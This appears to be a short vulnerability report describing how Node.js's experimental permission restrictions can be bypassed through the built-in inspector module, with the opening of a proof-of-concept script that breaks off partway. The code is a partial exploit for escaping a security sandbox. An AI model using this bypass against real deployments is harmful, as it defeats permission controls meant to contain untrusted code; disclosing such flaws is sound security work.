Process-based permissions can be bypassed with the "inspector" module.

Restrictions made with with the --experimental-permission flag can by bypassed with the built-in inspector module.

const { Session } = require('node:inspector/promises');

const session = new Session();
session.connect();

(async ()=>{
	await session.post('Debugger.enable');
	await session.post('Runtime.enable');

	global.Worker = require('node:worker_threads').Worker;
	
	let {result:{ objectId }} = await …